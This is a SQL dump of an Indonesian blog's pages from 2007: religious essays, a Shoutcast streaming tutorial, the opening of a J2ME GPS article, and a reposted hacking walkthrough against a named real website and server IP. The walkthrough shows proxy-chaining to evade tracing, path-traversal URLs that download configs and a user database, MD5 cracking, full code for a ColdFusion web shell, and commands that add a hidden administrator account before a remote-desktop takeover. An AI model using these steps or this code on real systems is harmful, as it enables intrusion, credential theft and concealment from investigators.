Ramadhan.\r\n\r\nKetika masjid-masjid jadi semarak dengan suara tadarus al-Quran. Ketika malam-malam jadi hidup dengan makan sahur dan qiyamul lail. Ketika siangnya adalah ajang menahan diri dari segala hal yang sia-sia apalagi maksiat. Ketika tiap diri ingin meraih pahala dengan bersedekah sebanyak-banyaknya. Ketika diskotik, bar, pub, rumah mesum dan lokalisasi kompak untuk tutup (meski sementara).\r\n\r\nDan rindu itu akan semakin kental ketika selepas Ramadhan, kemaksiatan seakan menemukan pembenaran. Semua tempat maksiat yang selama Ramadhan tutup, kembali dibuka dan semakin ramai pengunjung. Naudzhubillah.\r\n\r\nMaka, rindu Ramadhan itu semakin kental dan pekat. Rindu Ramadhan berarti rindu tutupnya tempat-tempat maksiat, selamanya. Bukan sementara.\r\n\r\nRindu Ramadhan berarti rindunya nuansa keislaman hadir di tengah-tengah kita, setiap hari. Rindu Ramadhan artinya rindu syariat Islam diterapkan, dan syariat Islam tak mungkin sempurna pelaksanaannya tanpa adanya Daulah Khilafah Islamiyah.\r\n\r\nSemoga rasa rindu ini bukan hanya milik perorangan saja. Tapi rasa ini sudah menjadi milik semua, yaitu kaum muslimin yang rindu kejayaan Islam kembali seperti sedia kala. Dan sungguh, kurindu hadirmu Ramadhan. Bahkan di bulan-bulan selepas Ramadhan berikutnya. Selamanya.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (57,'2007-10-19 13:38:59','Radio Streaming Di Linux','Radio Streaming Di Linux\r\n15 08 2007\r\n<a href=/\"http://nuraini.net/2007/08/15/radio-streaming-di-linux/\">http://nuraini.net/2007/08/15/radio-streaming-di-linux/</a>\r\n\r\nIni ada tutorial membuat radio streaming dengan Linux sebagai Sistem Operasinya.Distro yang saya pakai adalah Debian, namun tutorial ini juga bisa dipakai di Distro lain.Konfigurasi Shoutcast Server\r\n\r\n Download Shoucast Server :\r\n\r\n mkdir /usr/local/shoutcast\r\n\r\n cd /usr/local/shoutcast\r\n\r\n wget http://www.shoutcast.com/downloads/sc1-9-7/shoutcast-1-9-7-linux-glibc6.tar.gz\r\n\r\n Ekstrak paket program\r\n\r\n tar zxfv shoutcast-1-9-7-linux-glibc6.tar.gz\r\n\r\n Konfigurasi File\r\n\r\n vi sc_serv.conf\r\n\r\n Berikut beberapa konfigurasi shoutcast\r\n\r\n # Pastikan beapa bandwith yang ada punya dan kecepatan komputer anda (RAM)\r\n MaxUser=10# password untuk DSP konek ke server\r\n\r\n Password=iinaja\r\n\r\n # no port yang dipakai konek user. Ingat Shoutcast memakai 2 port yaitu portbase dan portbase+1\r\n\r\n PortBase=8000\r\n\r\n # jumlah daftar lagu yang tampil\r\n\r\n ShowLastSongs=10\r\n\r\n # alamat DSP yang boleh konek ke server.Kalau 127.0.0.1 berarti hanya DSP lokal saja.\r\n\r\n SrcIP=ANY\r\n\r\n # alamat tujuan yang diperbolehkan melakukan streaming\r\n\r\n DestIP=ANY\r\n\r\n # Password admin untuk melakukan perubahan pada web\r\n\r\n AdminPassword=iinlagi\r\n\r\n # Nama file yang akan diputar jika user konek pertama kali\r\n\r\n IntroFile=/usr/local/shoutcast/intro%d.mp3\r\n\r\n # Tulisan yang ditampil pada player user\r\n\r\n TitleFormat=Radionya iin Beats: %s\r\n\r\n Jalankan server\r\n\r\n ./sc_serv\r\n\r\n Jalankan pada browser\r\n\r\n http://localhost:8000/\r\n\r\nKonfigurasi Shoutcast Trans\r\n\r\n Download paket SC_trans\r\n\r\n cd /usr/local/shoutcast\r\n\r\n wget http://www.shoutcast.com/downloads/sc_trans_posix_040.tgz\r\n\r\n Ekstrak paket program\r\n\r\n tar zxfv sc_trans_posix_040.tgz\r\n\r\n Konfigurasi program\r\n\r\n cd sc_trans_040/\r\n\r\n vi sc_trans.conf\r\n\r\n Berikut beberapa konfigurasi sc_trans\r\n\r\n # tempat daftar file yang akan diputar\r\n\r\n PlaylistFile=/home/iin/playlist.lst\r\n\r\n # IP server streaming dan pronya\r\n\r\n Serverip=127.0.0.1ServerPort=8000\r\n\r\n # password yang ada di sc_serv.conf\r\n\r\n Password=iinaja\r\n\r\n # Judul yang tampil pada player\r\n\r\n StreamTitle=Radionya iin BeatsStreamURL=http://ai23.wordpress.com\r\n\r\n Genre=apa aja dech\r\n\r\n # pemutaran lagu apakah lompat2 berapa lompatan\r\n\r\n Shuffle=1\r\n\r\n Membuat daftar lagu yang akan diputar\r\n\r\n find /media/program/the-fikr/ -type f -name “*.mp3? > /home/iin/playlist.lst\r\n\r\n Jalankan sc_trans\r\n\r\n ./sc_trans_linux\r\n\r\n Hasil\r\n\r\n *******************************************************************************\r\n ** TRANScast Distributed Network Audio Content Provider\r\n ** Copyright (C) 2000 Nullsoft, Inc. All Rights Reserved.\r\n ** Use “sc_trans filename.conf” to specify a config file.\r\n *******************************************************************************\r\n <11/28/06@23:44:43> [TRANSCast] DNAS/posix v0.400-LAME (Mar 4 2003) starting up…\r\n <11/28/06@23:44:43> [MAIN] PID: 16679\r\n <11/28/06@23:44:43> [MAIN] Loaded config from sc_trans.conf\r\n <11/28/06@23:44:43> [MAIN] Loading playlist (/home/iin/playlist.lst)\r\n <11/28/06@23:44:43> [MAIN] Found (11) entries in playlist\r\n <11/28/06@23:44:43> [MAIN] Playlist decoder thread starting\r\n <11/28/06@23:44:43> [MAIN] Streaming thread starting\r\n <11/28/06@23:44:43> [STREAM] Creating stream socket\r\n <11/28/06@23:44:43> [STREAM] Connected to host server\r\n <11/28/06@23:44:43> [DECODE] Opened 04.The Fikr — KaruniaMu.mp3\r\n\r\nPercobaan mendengarkan hasil streaming\r\n\r\niin@iin-kompie:~$ mplayer -cache 1024 http://127.0.0.1:8000/\r\n\r\n MPlayer 1.0rc1-4.1.2-DFSG-free (C) 2000-2006 MPlayer Team\r\n CPU: Intel(R) Pentium(R) M processor 1.60GHz (Family: 6, Model: 13, Stepping: 6)\r\n CPUflags: MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1\r\n Compiled with runtime CPU detection.\r\n mplayer: could not connect to socket\r\n mplayer: No such file or directory\r\n Failed to open LIRC support. You will not be able to use your remote control.Playing http://127.0.0.1:8000/.\r\n Resolving 127.0.0.1 for AF_INET6…\r\n Couldn’t resolve name for AF_INET6: 127.0.0.1\r\n Connecting to server 127.0.0.1[127.0.0.1]: 8000…\r\n Name : RADIONYA IIN STUDIO 1\r\n Genre : Islam\r\n Website: http://ai23.wordpress.com\r\n Public : yes\r\n Bitrate: 80kbit/s\r\n Cache size set to 1024 KBytes\r\n Cache fill: 0.78% (8192 bytes)\r\n ICY Info: StreamTitle=’The Fikr - 10\';StreamUrl=’http://ai23.wordpress.com’;\r\n\r\n Audio file file format detected.\r\n\r\nAlhamdulllah radio streaming buatan sendiri pun sudah jadi. Semoga tutorial ini dapat berguna bagi semua. Buat muslim taiwan dapat mengakses radio tersebut dengan alamat http://formmit.homedns.org:8000/. Maaf servernya tidak selalu OL.\r\n',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (58,'2007-10-20 23:37:18','Menjadi Generasi Gemilang','Menjadi Generasi Gemilang \r\nBuletin Studia\r\n10 Mei 2007 - 16:40\r\n\r\nKamu pernah dengar nama-nama beken dan keren kayak Imam Syafi’i, Ibnu Abbas, Umar bin Abdul Aziz, Ali bin Abi Thalib; Sufyan ats-Tsauriy; Ibnu Qayyim al-Jauziyah, Ibnu Sina, al-Khawarizmi dan ratusan bahkan ribuan nama-nama generasi emas yang dilahirkan Islam? Atau jangan-jangan nama-nama ini kalah sama idola kamu saat ini: Pasha, Bams, Tompi, Luna Maya, Titi Kamal, dan Omaswati? Hehehe.. maaf-maaf aja, kalo kamu lebih kenal deretan nama yang kedua, berarti sungguh sangat memprihatinkan. Why?\r\n\r\nYup, sebab deretan nama-nama yang disebut pertama adalah nama-nama ulama dan ilmuwan Islam dari generasi sahabat, tabiin, tabiut tabiin, dan salafus shalih Sementara nama-nama di deretan kedua adalah seleb di dunia hiburan saat ini. Jelas beda dong kelas dan kualitasnya.\r\n\r\nOke. Back to laptop, eh, back to tema. Iya, seenggaknya kita bisa merenung dengan deretan nama ulama dan ilmuwan Islam tersebut. Betapa hebatnya Islam memoles manusia biasa menjadi yang luar biasa. Manusia yang sederhana menjadi manusia istimewa. Oya tentu, di atas nama-nama itu, Muhammad Rasulullah saw. adalah orang yang paling keren dan beken dalam sejarah panjang peradaban Islam dan peradaban manusia.\r\n\r\nSobat, kamu pasti pada penasaran dong kenapa mereka bisa sampe “dahsyat” dan “luar biasa”, iya kan? Hmm.. mari kita temukan jawabannya dalam tulisan ini. Kita akan eksplor beberapa nama yang bisa mewakili betapa hebatnya Islam dalam mendidik dan mengarahkan manusia menjadi lebih mulia. Nggak kayak sekarang, dalam kehidupan masyarakat yang dinaungi kapitalisme-sekularisme, tumbuh banyak generasi ‘sampah’ ketimbang generasi emasnya. Menyedihkan banget!\r\n\r\nOya, itung-itung ‘memperingati’ Hardiknas yang jatuh pada 2 Mei (nah, pas tulisan ini dibuat memang tepat tanggal 2 Mei 2007), maka STUDIA juga bahas tentang pendidikan. Tapi, STUDIA ingin fokus bahas tentang generasi gemilang yang berhasil dihasilkan peradaban Islam. Generasi yang dididik oleh keluarga yang hebat, dididik oleh masyarakat yang peduli, dan dibina negara yang bertanggung jawab. Sebab, jujur aja bahwa keluarga dan masyarakat yang hebat seperti ketika Islam digdaya itu adalah hasil dari pemerintahan yang menerapkan Islam sebagai ideologi negara. Sudah terbukti kok. Sumpah!\r\n\r\nLahir dari keluarga hebat\r\nIbnu Qayyim al-Jauziyah pernah menyampaikan bahwa, “Bila terlihat kerusakan pada diri anak-anak, mayoritas penyebabnya adalah bersumber dari orangtuanya.” Nah, lho. Benar firman Allah Swt. yang tercantum dalam al-Quran agar kita waspada dengan anak-keturunan kita dan diwajibkan untuk menjaga diri kita dan diri mereka dari siksa api neraka:\r\n\r\n“Hai orang-orang yang beriman, peliharalah dirimu dan keluargamu dari api neraka yang bahan bakarnya adalah manusia dan batu.” (QS at-Tahrim [66]: 6)\r\n\r\nSabda Rasul saw.: “Setiap anak dilahirkan dalam keadaan fitrah. Kedua orangtuanyalah yang menjadikannya nasrani, yahudi atau majusi. (HR Bukhari)\r\nBro, untuk bisa dapetin keluarga yang hebat dalam mendidik anak, hebat dalam kualitas keimanannya kepada Allah Swt., tentunya kita sendiri wajib menjadi baik berdasarkan tuntutan dan tuntunan ajaran Islam yang benar pula. Kita dan calon pasangan hidup kita kudu baik dua-duanya. Sebab, tentu bagai pungguk merindukan bulan berharap dapet keturunan yang berkualitas tapi kita sendiri sebagai ayahnya atau ibunya nggak taat total sama Allah Swt. dan RasulNya. Iya nggak sih? So, mari kita menjadi baik dan mencari pasangan yang baik pula suatu saat nanti.\r\n\r\nIni mutlak dipenuhi. Sebab, hanya dari keluarga hebat yang menanamkan nilai-nilai Islam kepada anak-anaknya yang akan melahirkan generasi gemilang super keren. Kamu pernah tahu Zubair bin Awam? Ia adalah salah seorang dari pasukan berkudanya Rasulullah saw. yang dinyatakan oleh Umar ibnul Khaththab, “Satu orang Zubair menandingi seribu orang laki-laki.” Ia seorang pemuda yang kokoh akidahnya, terpuji akhlaknya, tumbuh di bawah binaan ibunya, Shafiyah binti Abdul Muthalib, yakni bibinya Rasulullah atau saudara perempuannya Hamzah ra (pamannya Nabi). Wuih, pantes aja keren!\r\n\r\n Ali bin Abi Thalib juga nggak kalah keren. Sejak kecil hidup bersama Rasulullah saw. (bahkan masuk Islam pada usia 8 tahun), beliau adalah pemuda teladan bagi pemuda seusianya. Beliau dibina langsung oleh ibunya, yakni Fathimah binti Asad dan yang menjadi mertuanya, Khadijah binti Khuwailid ra. Waduh, jaminan mutu dah!\r\nBegitu pula dengan Abdullah bin Ja’far, seorang bangsawan yang terkenal kebaikannya. Beliau dididik langsung oleh ibunya yang bernama Asma binti Umais.\r\n\r\nSobat, tiga nama ini tentu menjadi bukti bahwa bakalan lahir generasi hebat dan gemilang jika keluarganya juga hebat. Tentu keluarga seperti ini pasti udah menyiapkan generasi penerusnya agar lebih baik dari mereka. Nggak main-main, gitu lho.\r\n\r\nKalo kamu belum puas dengan tiga nama tadi, Islam masih memiliki Umar ibnu Abdul Aziz. Beliau pernah menangis sedih ketika usianya masih sangat kecil. Ibunya bertanya kenapa Umar menangis? Beliau menjawab, “Aku ingat mati, Bu!” Saat itu, beliau sudah hapal al-Quran. Mendengar jawaban sang buah hati, ibunya pun menangis terharu. Duh, pantes aja udah dewasanya beliau menjadi Khalifah (kepala negara pemerintahan Islam). Subhanallah!\r\n\r\nBoys, berkat didikan dan pembinaan ibunya yang shalihah, Sufyan ats-Tsauriy tumbuh menjadi ulama besar dalam bidang hadist. Saat ia masih kecil ibunya berkata padanya, “Carilah ilmu, aku akan memenuhi kebutuhanmu dengan hasil tenunanku.” Wuih, berbahagialah memiliki ibu yang bisa memotivasi kita untuk menjadi lebih baik. Benar-benar udah disiapkan dengan matang. Semoga kita juga bisa seperti beliau-beliau ya. Amin. Sekarang belum terlambat kok untuk berbenah. Insya Allah.\r\n\r\nGirl, sosok ayah juga kerap mampu memberikan warna bagi anak-anaknya. Kalo baik dalam mendidik anaknya, insya Allah akan melahirkan generasi yang super keren. Salah satunya adalah ulama penulis tafsir Fizilalil Quran, yakni Syaikh Sayyid Quthb. Beliau menyampaikan testimoni untuk ayahnya, “Semasa kecilku, ayah tanamkan ketakwaan kepada Allah Swt. dan rasa takut akan hari akhirat. Engkau tak pernah memarahiku, namun kehidupan sehari-harimu telah menjadi teladanku, bagaimana prilaku orang yang ingat akan hari akhir.” (Majalah al-Muslimun No. 298, Januari 1995)\r\n\r\nDuh, keluarga yang hebat. Maka, wajar pasti akan lahir generasi gemilang hasil pendidikan keluarga yang keren seperti itu. Pantas saja Imam Syafi’i udah bisa hapal al-Quran seluruhnya pada usia 7 tahun dan menjadi qadhi (hakim) pada usia 17 tahun. Luar biasa dan super genius!\r\n\r\nDi bawah lindungan negara\r\nSobat, generasi gemilang Islam juga bisa kian mengkilap setelah ‘diproduksi’ oleh pemerintahan yang menerapkan Islam sebagai ideologi negara. Untuk mencerdaskan kaum Muslimin dan rakyatnya secara umum, Khilafah Islamiyah menyediakan lembaga-lembanga keilmuan. Islam membangun ribuan al-Katatib, yakni wadah keilmuan untuk mempelajari al-Quran, menulis dan berhitung. Dibudayakan juga diskusi-diskusi keilmuan di masjid-masjid untuk melayani pertanyaan-pertanyaan dari masyarakat soal fikih, hadis, tafsir dan bahasa. Bahkan Muqri Rasy’an bin Nazhif ad-Dimasyqi mendirikan lembaga keilmuan Quran (untuk mempelajari al-Quran) pada tahun 400 H di Damaskus. Sementara khusus untuk hadis, didirikan oleh Nuruddin Mahmud bin Zanky, juga di Damaskus. Selain itu, madrasah (sekolah) dan Jami’ah (universitas) juga didirikan.\r\n\r\nAl-Hakam bin Abdurrahman an-Nashir telah mendirikan Universitas Cordova yang saat itu menampung (mahasiswa) dari kaum muslimin maupun orang Barat. Selain itu dibangun pula Universitas Mustanshirriyah di Baghdad. Sekadar tahu aja, universitas-universitas ini telah mencetak para ilmuwan yang pengaruhnya mendunia hingga saat ini melalui berbagai temuan-temuannya, seperti al-Khawarizmi, Ibnu al-Haisam, Ibnu Sina, Jabir bin Hayan, dan lainnya (Muhammad Husein Abdullah, Studi Dasar-dasar Pemikiran Islam, hlm. 158-159)\r\n\r\nHasil pendidikan dan penyediaan fasilitas yang bagus ini paling nggak dalam sejarah tercatat beberapa perkembangan ilmu pengetahuan dan penemuan oleh ilmuwan-ilmuwan Muslim. Beberapa di antaranya: bidang kedokteran (kaum muslimin berhasil mengembangkan teknik pembiusan untuk pertama kalinya dalam sejarah kedokteran dunia, dikembangkan juga teknik operasi, pendirian rumah sakit dan obat-obatan).\r\n\r\nDalam ilmu kimia (di sini kaum muslimin mengenalkan istilah alkali, menemukan amonia, teknik destilasi atau penyulingan, penyaringan, dan sublimasi, memperkenalkan belerang dan asam nitrit, mempopulerkan industri kaca dan kertas, serta penemuan lainnya). Dalam ilmu tumbuh-tumbuhan (melakukan penelitian terhadap tumbuh-tumbuhan yang bisa digunakan untuk pengobatan, bahkan mengklasifikasikan berbagai jenis tumbuhan).\r\n\r\nTerus, dalam ilmu pengetahuan alam (penemuan neraca, penemuan pendulum untuk jam dinding, ilmu optik, dan telah mampu merumuskan perbedaan antara kecepatan cahaya dan kecepatan suara, termasuk kaum muslimin berhasil menemukan teknologi kompas magnetis untuk mengetahui arah mata angin); matematika (berhasil dikembangkan perhitungan desimal dan kwadrat, juga menciptakan berbagai rumus) (O. Solihin, Yes! I am MUSLIM, hlm. 315-316)\r\n\r\nBro, kalo mo ditulis semua kayaknya nggak bakalan cukup cuma di satu edisi buletin kesayangan kamu ini. Mungkin perlu beberapa edisi. Tapi yang pasti, kita pun bisa menjadi generasi gemilang seperti pendahulu kita tersebut. Insya Allah bisa dengan mencontoh model pendidikan yang dikembangkan Islam.\r\n\r\nYa, sebab tujuan pendidikan dalam Islam adalah (1) membentuk manusia agar memiliki kepribadian Islam, (2) mengarahkan peserta didik agar bisa menguasai tsaqafah Islam, (3) menciptakan manusia yang ngerti soal iptek, dan (4) Islam mendidik manusia agar memiliki keterampilan yang memadai untuk pelengkap dalam kehidupannya.\r\n\r\nSo, tentunya dibutuhkan jaringan dan kerjasama pembinaan yang mantap antara keluarga, sekolah, masyarakat, dan juga negara. Semua komponen wajib serius dan penuh perhatian untuk menghasilkan generasi gemilang. Jangan sampe beda arah dan salah mendidik, sehingga ketika di rumah udah oke, eh, di sekolah nggak benar (atau sebaliknya) karena beda cara dan kebijakan. Nggak banget! \r\n\r\nYuk, kalo emang benar meneladani Rasulullah saw., maka kita teladani juga cara beliau dalam mendidik manusia dengan Islam. [solihin: www.osolihin.wordpress.com]',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (59,'2007-11-01 15:43:38','Studi Kasus kelemahan Server Situs www.rasasayang.com.my','<b>Studi Kasus kelemahan Server Situs www.rasasayang.com.my</b><br />Oleh Satria Kelana<br />Published: Oktober 29, 2007<br />\r\n<a href=\"http://www.jasakom.com/index.php?categoryid=9&p2_articleid=569\" taget=\"_blank\">http://www.jasakom.com/index.php?categoryid=9&p2_articleid=569</a>\r\n<p>Situs <a href=\"http://www.rasasayang.com.my/\">www.rasasayang.com.my</a> secara sekilas terlihat tidak memiliki bug yang cukup berarti untuk dieksploitasi oleh hacker. Namun ternyata masih terdapat celah yang bisa dieksploitasi. Berikut ini langkah-langkah yang dilakukan untuk membobol server ini.</p><p>1. Persiapan hacking<br />2. Pemeriksaan bug<br />3. Mendownload source code dan file konfigurasi<br />4. Mengupload file explorer dan windows shell command interface<br />5. Mengambil-alih server</p><p>Saya akan menjelaskan langkah-langkah di atas satu per satu.</p><p><strong><font size=\"2\"><u>1. Persiapan hacking</u></font><br /></strong>Sebelumnya Anda harus memiliki list proxy server yang mendukung proxy-chain untuk menghindari pelacakan. Anda harus mengkoneksikan sekurang-kurangnya 2 anonymous proxy server di 2 negara yang berbeda. Anda dengan mudah mendapatkan proxy server di search engine Google. Namun bila Anda menemukan lebih banyak transparant proxy server, gunakan 3 transparant proxy server yang mendukung chain, dan rutekan koneksinya melintasi beberapa negara, misalnya: Brazil - China - India, sehingga bila dilacak oleh &quot;Pengejar Hacker&quot; maka mereka hanya akan melacak koneksi dari ISP Indonesia ke China.</p><p>Pada sistem operasi windows, anda dapat menggunakan software mungil bouncer.exe untuk melakukan proxy-chain melalui parameter tunneling. Contoh dengan IP lokal 192.168.0.5:</p><p>bouncer --bind 192.168.0.5 --port 8881 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080<br />bouncer --bind 192.168.0.5 --port 8882 --tunnel 192.168.0.5:8881 --destination 200.0.0.1:3128</p><p>Pada contoh di atas, bila kita mengeset proxy pada internet browser menjadi 192.168.0.5:8882 maka koneksi kita akan dirutekan melalui proxy server: 82.0.0.1:8080 -&gt; 221.0.0.1:8080 -&gt; 200.0.0.1:3128 -&gt; www.rasasayang.com.my</p><p>Karena kita menggunakan transparant proxy server maka IP 221.0.0.1 juga akan terlacak. Namun ini tidak masalah karena kita sebenarnya terkoneksi dari proxy server 82.0.0.1.</p><br /><strong><u><font size=\"2\">2. Pemeriksaan bug</font></u></strong><br />Pemeriksaan dilakukan secara trial and error pada setiap parameter yang diperkirakan mengandung bug. Pada kasus ini terdapat bug pada module downloading file untuk mendownload file .mp3 dengan URL: <p>http://www.rasasayang.com.my/index.cfm??dir=download&amp;menu=home&amp;task=dl_comm&amp;cfile=</p><p>Dari parameter di atas terlihat file dl_comm.cfm terletak pada folder download. Sekarang kita coba secara langsung mengeksekusi pada file .cfm tersebut dan menyisipkan parameter querystring cfile untuk mendapatkan source codenya.</p><p>http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\\download\\dl_comm.cfm</p><p>Ternyata hasilnya adalah file source code dl_comm.cfm. Berikut ini adalah bagian penting dari source code tersebut.</p><p>&lt;cfheader name=&quot;Content-Disposition&quot; value=&quot;attachment; filename=#cfile#&quot;&gt;<br />&lt;!---&lt;cfcontent type=&quot;audio/mpeg3,video/mpeg&quot; file=&quot;#abs_dir#_mp3\\#cfile#&quot;&gt;---&gt;<br />&lt;cfcontent type=&quot;unknown/unknown&quot; file=&quot;#abs_dir#_mp3\\#cfile#&quot;&gt;</p><p>Dari source code ini kita bisa menemukan bahwa terdapat parameter querystring abs_dir dan cfile yang bisa mengarahkan kita untuk mendownload file apa saja dari harddisk server.</p><p><br />3. Mendownload source code dan file konfigurasi</p><p>Kita jejaki setiap link di dalam source code-nya, kemudian kita download. Misalnya:</p><p>http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\\application.cfm<br />http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\\index.cfm</p><p>Dari kumpulan file inilah kemudian kita mendapatkan bocoran source code situs www.rasasayang.com.my yang telah diberitakan sebelumnya di situs ini.</p><p>Selanjutnya kita download file konfigurasi web servernya dengan cara berikut:</p><p>File konfigurasi IIS:<br />http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\\&amp;CFILE=..\\WINDOWS\\system32\\inetsrv\\MetaBase.xml</p><p>File konfigurasi CFM:<br />http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\\&amp;CFILE=..\\CFusionMX7\\lib\\neo-query.xml</p><p>File History Internet Explorer untuk Administrator<br />http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\\&amp;CFILE=..\\Documents and Settings\\Administrator\\Local Settings\\History\\History.IE5\\index.dat</p><p>Dari file Metabase.xml kita dapat mengetahui bahwa terdapat beberapa situs web yang hosting di server ini.<br />- www.powerofpaytv.com, www.thepowerofpaytv.com yang terletak di E:\\webuser\\web\\powerofpaytv.com<br />- www.jedrealty.com yang terletak di E:\\webuser\\web\\jedrealty.com<br />- www.rasasayang.com.my yang terletak di E:\\webuser\\web\\rasasayang.com.my</p><p>Dari file index.dat kita dapat mengetahui bahwa Administrator melakukan proses administrasi upload dan download file dengan mengunjungi http://www.powerofpaytv.com/cometadvance/</p><p>Dari file neo-query.xml kita dapat mengetahui file database pengguna terletak di E:\\webuser\\web\\powerofpaytv.com\\_db\\dcm_casbaa_db.mdb yang dapat kita download melalui:<br /><u>http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=E:\\&amp;CFILE=..\\webuser\\web\\powerofpaytv.com\\_db\\dcm_casbaa_db.mdb</u></p><p>Dari file dcm_casbaa_db.mdb ini kita memperoleh user-id dan password dalam bentuk MD5 hash. Dengan menggunakan software decryptor misalnya Cain &amp; Abel kita dapat mendecyrpt passwordnya.</p><p><br /><strong><font size=\"2\"><u>4. Mengupload file explorer dan windows shell command interface</u></font></strong><br />Dari http://www.powerofpaytv.com/cometadvance/ kita dapat mengupload file explorer misalnya ASF File Explorer yang dibuat oleh Nahuel Foronda and Laura Arguello. Dengan ASF File Explorer, kita dapat membrowse file di harddisk secara lebih leluasa, serta meng-upload, download dan delete file.</p><p>Untuk windows shell command interface, kita buatkan file.CFM dengan script berikut:</p><p><font size=\"1\" face=\"courier new,courier\">&lt;cfparam name=&quot;strRun&quot; default=&quot;&quot;&gt;&lt;cfparam name=&quot;strArg&quot; default=&quot;&quot;&gt;&lt;cfparam name=&quot;cmdResult&quot; default=&quot;&quot;&gt;<br />&lt;cfif strRun neq &quot;&quot;&gt;<br />&lt;cfsavecontent variable=&quot;cmdResult&quot;&gt;&lt;cfexecute name=&quot;#strRun#&quot; arguments=&quot;#strArg#&quot; timeout=&quot;5&quot;&gt;&lt;/cfexecute&gt;&lt;/cfsavecontent&gt;<br />&lt;/cfif&gt;&lt;HTML&gt;&lt;BODY style=&quot;font-size: 9pt; font-family: &#39;Courier New&#39;&quot;&gt;<br />&lt;cfform name=&quot;frmShell&quot; action=&quot;&quot; method=&quot;post&quot;&gt;<br />&lt;cfinput type=&quot;text&quot; name=&quot;strRun&quot; value=&quot;#strRun#&quot; required=&quot;yes&quot; message=&quot;Please enter your command.&quot; maxlength=&quot;255&quot;&gt;<br />&lt;cfinput type=&quot;text&quot; name=&quot;strArg&quot; value=&quot;#strArg#&quot; required=&quot;no&quot; maxlength=&quot;255&quot;&gt;<br />&lt;input name=btnG type=submit value=&quot;Execute&quot;&gt;<br />&lt;/cfform&gt;&lt;cfoutput&gt;<br />#Replace(Replace(Replace(&#39;#cmdResult#&#39;, &#39;&lt;&#39;, &#39;&amp;lt;&#39;, &#39;all&#39;), &#39;&gt;&#39;, &#39;&amp;gt;&#39;, &#39;all&#39;), Chr(10), &#39;&lt;br&gt;&#39;, &#39;all&#39;)#<br />&lt;/cfoutput&gt;&lt;/BODY&gt;&lt;/HTML&gt;</font></p><p><br /><strong><u><font size=\"2\">5. Mengambil-alih server</font></u></strong><br />Kita dapat menambahkan user login windows (group administrator) dengan mengeksekusi perintah berikut pada windows shell command interface.</p><p>NET USER mbahjambon mypassword /ADD /ACTIVE:YES /EXPIRES:NEVER /PASSWORDCHG:YES<br />NET LOCALGROUP Administrators mbahjambon /ADD</p><p>Dengan menggunakan Windows Remote Desktop kita dapat mengambil alih servernya (IP 202.157.176.17). Koneksinya tetap dilakukan melalui proxy tunneling seperti contoh berikut:</p><p>bouncer --bind 192.168.0.5 --port 8883 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080<br />bouncer --bind 192.168.0.5 --port 8884 --tunnel 192.168.0.5:8883 --destination 202.157.176.17:3389</p><p>sehingga kita dapat meremote server melalui Remote Desktop pada alamat: 192.168.0.5:8884</p><p>Demikian cara yang digunakan untuk membobol server situs www.rasasayang.com.my. Dengan membaca tulisan ini, mudah-mudahan para pembaca dapat menghindari bug sejenis pada server Anda.</p>',1,1,9);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (60,'2007-11-02 10:40:56','Targeting GPS - Integrating J2ME, GPS, and the Wireless Web','Targeting GPS - Integrating J2ME, GPS, and the Wireless Web\r\n<a href=\"http://java.sys-con.com/read/36895.htm\" target=\"_blank\">http://java.sys-con.com/read/36895.htm</a>\r\n\r\n<i>Huuh Semangaaat, yak project demi project telah berlalu ini yang bikin gua lupa waktu dan bikin hidup gua jadi penasaran untuk explore terus teknologi JAVA, artikel ini sanggat membantu banget. Kondisi project Positioning using GPS dah berhasil kita tinggal Directing aja dan ternyata harus butuh Map yang detail. So tunggu yak nanti klo project ini dah 100% gua buka konsepnya, hehe kenapa konsep karena sourcenya hak paten DIKONTRAK je, klo IDE sendiri sih pasti gua OPEN SOURCE, sory yak</i>\r\n\r\nFor location-based services, the open frameworks of J2ME and J2EE create interesting opportunities in the fields of software development and applied statistics. Traditionally, the software industry in these services has been closed and, as a result, the industry has suffered stagnation, particularly in the area of distributed systems and integration.\r\n\r\nJust look at this most recent example – U.S. cell phone carriers didn’t meet the FCC October 2001 mandate for automatic location-based tracking for 911 calls over their networks. The most common reasons the carriers gave for missing the deadline were high costs and an inability to install the network infrastructure. With J2ME, XML, J2EE, and GPS, you can use the existing infrastructure (the Internet and your computer) to build and run such services from your garage, all for a very low cost (free).\r\n\r\nWith Java’s open architecture, you can build more exciting applications. GPS data contains the altitude and speed of a target, allowing the extraction of 3D information and vector coordinates. This can lead to interesting implementations, such as topographic position tracking of multiple targets or predicting the time two targets will intersect.\r\n\r\nThe use of wireless GPS and J2ME also allows more accurate tracking of targets because the historical GPS data can be stored in a database, enabling the integration of stochastic models and applications to monitor, predict, and correct movements before sending this information to a mobile device. Because of the limited graphical capability of mobile devices, there’s also a need for applications to convey location-based information through the use of colors, a feature of the more recent mobile devices.\r\n\r\nThe GPS application covered in this article tracks the user on a graphical plot and gives the distance of another target connected to the network. The target can also track the user. By going through the application, you can build a foundation to develop your own GPS services. We’ll discuss how to set up the test environment and show how to parse and handle GPS data on a mobile device and transfer GPS information back and forth between the device and a J2EE server. Thus, by integrating J2EE and J2ME, the mobile device harnesses the power of the server, allowing the development of intelligent, location-based applications.\r\n\r\nSetting Up the Test Environment\r\n\r\nSetting Up a GPS Receiver\r\nA GPS receiver must meet two requirements for the application to work. First, it should be able to output NMEA 0183 (version 2.0 or higher) data as text; second, it shouldn’t require the receipt of an initialization string before sending data. eTrex from Garmin meets both requirements. Since the receiver hooks into the serial port on a PC (desktop or laptop), you need to obtain a GPS-to-serial-port adapter. Once connected, GPS data will flow through the communication port. Keep in mind that most GPS receivers don’t work 